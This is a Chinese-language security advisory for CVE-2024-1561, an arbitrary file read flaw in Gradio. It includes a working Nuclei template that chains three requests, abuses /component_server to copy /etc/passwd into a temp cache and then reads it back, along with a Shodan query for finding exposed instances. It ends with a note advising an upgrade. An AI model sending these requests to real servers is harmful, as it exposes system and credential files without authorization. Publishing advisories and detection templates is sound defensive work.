漏洞预警 | Gradio任意文件读取漏洞

0x00 漏洞编号
  • CVE-2024-1561

0x01 危险等级
  • 高危

0x02 漏洞概述

Gradio是一个用于创建机器学习模型交互式界面的Python库。它可以帮助用户快速地为模型构建一个可视化的、易于使用的Web界面,无需编写任何Web前端代码。

0x03 漏洞详情

CVE-2024-1561
漏洞类型:任意文件读取
影响:获取敏感信息
简述:Gradio存在任意文件读取漏洞,由于/component_server端点使用攻击者控制的参数调用Component类的任何方法,攻击者通过利用Block类的move_resource_to_block_cache()方法,将文件系统上的任何文件复制到临时目录。

0x04 影响版本
  • Gradio

0x05 POC

id: CVE-2024-1561
info: name: Gradio Applications - Local File Read author: Diablo severity: high description: | Local file read by calling arbitrary methods of Components class impact: | Successful exploitation of this vulnerability could allow an attacker to read files on the server remediation: | Update to Gradio 4.13.0 reference: - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 - https://github.com/DiabloHTB/CVE-2024-1561 - https://nvd.nist.gov/vuln/detail/CVE-2024-1561 - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-1561 cwe-id: CWE-29 epss-score: 0.00045 epss-percentile: 0.14639 metadata: verified: true max-request: 3 shodan-query: html:"__gradio_mode__" tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr
flow: http(1) && http(2) && http(3)
http: - raw: - | GET /config HTTP/1.1 Host: {{Hostname}}
extractors: - type: json name: first-component part: body group: 1 json: - '.components[0].id' internal: true
- raw: - | POST /component_server HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"component_id": "{{first-component}}","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
extractors: - type: regex name: tmpath regex: - \/[a-zA-Z0-9\/]+ internal: true
- raw: - | GET /file={{tmpath}} HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - regex('root:.*:0:0:', body) - 'contains(header, "text/plain")' condition: and
https://github.com/projectdiscovery/nuclei-templates/blob/ebfd00e083133f00024652cf3bd44265a4f5074f/http/cves/2024/CVE-2024-1561.yaml
仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本,建议用户升级到安全版本
https://www.gradio.app/


免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐